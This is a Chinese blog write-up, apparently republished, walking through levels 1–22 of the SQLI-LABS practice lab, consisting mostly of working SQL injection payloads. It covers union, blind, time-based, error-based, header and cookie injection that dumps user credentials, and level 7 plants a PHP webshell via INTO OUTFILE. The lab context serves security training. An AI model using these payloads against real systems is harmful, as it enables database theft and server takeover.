SQLI-LABS 靶场通关小记(1~22)
Posted 曹振国cc
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQLI-LABS 靶场通关小记(1~22)相关的知识,希望对你有一定的参考价值。
1~22
Less-1:
通过在id后面加反斜杠
\\
发现是单引号闭合
1.查询字段数
有3个字段
?id=1' and 1=1 order by 3 -- qwe //正常
?id=1' and 1=1 order by 4 -- qwe //报错
2.查询输出点
?id=1' and 1=2 union select 1,2,3 -- qwe
3.查询库名
?id=1' and 1=2 union select 1,database(),3 -- qwe //库名是security
4.查询表名
有emails,referers,uagents,users表
?id=1' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 -- qwe
?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- qwe
5.查询字段名
查询users表:
有字段:id,username,password
?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 -- qwe
?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- qwe
6.查询数据
?id=1' and 1=2 union select 1,username,3 from users limit 0,1 -- qwe
?id=1' and 1=2 union select 1,group_concat(id,0x3a,username,0x3a,password,0x3c,0x68,0x72,0x2F,0x3E),3 from users limit 0,1 -- qwe
0x3a :
0x3c <
0x68 h
0x72 r
0x2F /
0x3E >
Less-2:
在id后加反斜杠
\\
发现并不用闭合可以直接查询
1.查询输出点
?id=1 and 1=2 union select 1,2,3 -- qwe
Less-3:
在id后加反斜杠
\\
发现是单引号括号')
闭合
1.查询输出点
?id=1') and 1=2 union select 1,2,3 -- qwe
Less-4:
在id后加入反斜杠
\\
,发现是双引号括号")
闭合
1.查询输出点
?id=1") and 1=2 union select 1,2,3 -- qwe
Less -5:
使用反斜杠
\\
猜测应该需要单引号'
闭合
1.使用left()函数进行截取测试
?id=1' and left(version(),1)=3%23 //截取version()最左侧得到的值是否为3,如果为3返回you are in...
?id=1' and left(version(),1)=5%23 //you are in...
2.使用length判断长度
库名长度是8
?id=1' and length(database())=8%23
3.利用ascii码猜测数据库名
?id=1' and ascii(substr(database(),1,1))=115%23 //115对应的是s
利用Burp跑出数据库名
1 115 s
2 101 e
3 99 c
4 117 u
5 114 r
6 105 i
7 116 t
8 121 y
库名:security
4.使用二分法进行盲注查表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1%23 //you are in ...
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101%23 //表名的首字母ascii码是101 e
Less-6:
在id后加入反斜杠
\\
发现这个应该是双引号"
闭合
1.使用length判断长度
?id=1" and ascii(substr(database(),1,1))=115%23 //库名的首字母对应的ascii码是115是s
Less-7:
打开题目感觉应该要使用outfile写入一句话木马
1.查看源码
要使用
'))
闭合
2.写入一句话木马连接蚁剑
?id=1'))union select 1,2,"<?php @eval($REQUEST['HACK']);?>" into outfile "/var/www/html/webshell.php" -- qwe
Less-8:
使用单引号闭合
1.使用length判断长度
?id=1' and ascii(substr(database(),1,1))=115 -- qwe //正常,库名首字母ascii码115所对应的字母是s
Less-9:
同第8题也可以使用时间盲注
1.使用sleep()函数进行时间盲注
?id=1' and if(ascii(substr(database(),1,1))=100,sleep(10),1) -- qwe
使用bp测试跑包
115很突出,说明库名首字母的ascii码是115所对应的字符是s
Less-10:
通过查看源码知道这是需要双引号闭合的盲注题
payload:?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) -- qwe
Less -11
在登录框输入反斜杠
\\
发现应该是单引号'
闭合
1.显错注入,查询字段数
'or 1=1 order by 3 -- qwe //报错
'or 1=1 order by 2 -- qwe //正常
2.查询输出点
'or 1=2 union select 1,2 -- qwe
3.查询库名
'or 1=2 union select 1,database() -- qwe
Less-12:
双引号括号
")
闭合
1.查询库名
")or 1=2 union select 1,database() -- qwe
Less-13:
利用反斜杠
\\
得知应该是单引号括号')
闭合
1.尝试查询库名
并没有输出
')or1=2 union select 1,database() -- qwe
2.使用盲注
1') or ascii(substr((database()),1,1))>100 -- qwe
1') or ascii(substr((database()),1,1))>114 -- qwe
1') or ascii(substr((database()),1,1))=115 -- qwe 首字母所对应ascii码是115
Less-14:
双引号闭合,同13题
Less-15:
通过测试是单引号闭合,布尔盲注同13题
'or left(database(),1)='s'# //正常,首字母是s
Less-16:
双引号括号
")
闭合,其余操作同13题
Less-17:
单引号闭合,当我们输入单引号时会出现报错信息
1.尝试使用updatexml输出库名
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- qwe
2.输出表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) -- qwe
3.输出字段名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- qwe
4.输出数据
'and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1) -- qwe
Less-18:
发现正常登录它会输出user-agent头里的内容
1.在后面加入单引号查看报错
2.利用updatexml查看数据库名称
'and updatexml(1,concat(0x7e,(select database()),0x7e),1)or '1=1 -- qwe
2.利用extractvalue查看数据库名称
'and extractvalue(1,concat(0x7e,database()))or '1=1 -- qwe
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Chrt7taz-1626201897312)(C:/Users/000/AppData/Roaming/Typora/typora-user-images/image-20210714020353822.png)]
Less-19:
1.源码分析:
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
和18题的区别是把$uagent的值变成了HTTP_REFERER ,所以存在注入
2.加入单引号测试是否存在注入
3.报错注入
'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1=1
Less-20:
登录后发现会记录cookie
1.抓取cookie
2.加入单引号查看是否会返回报错信息
3.使用updatexml报错注入获取数据库名称
'and updatexml(1,concat(0x7e,database(),0x7e),1)or '1=1
Less-21:
登录后发现这道题将cookie进行了base64的加密
1.抓取cookie
2.使用反斜杠爆出闭合方式
单引号闭合
3.将报错语句进行Base64加密
'and updatexml(1,concat(0x7e,database(),0x7e),1)or '1=1
4.查询库名
Less-22:
登录后发现依旧是对cookie做了base64的加密
1.加反斜杠爆出闭合方式
双引号闭合
2.对报错语句进行Base64加密
"and updatexml(1,concat(0x7e,database(),0x7e),1)or '1=1
3.查询库名
语句进行Base64加密
'and updatexml(1,concat(0x7e,database(),0x7e),1)or '1=1
以上是关于SQLI-LABS 靶场通关小记(1~22)的主要内容,如果未能解决你的问题,请参考以下文章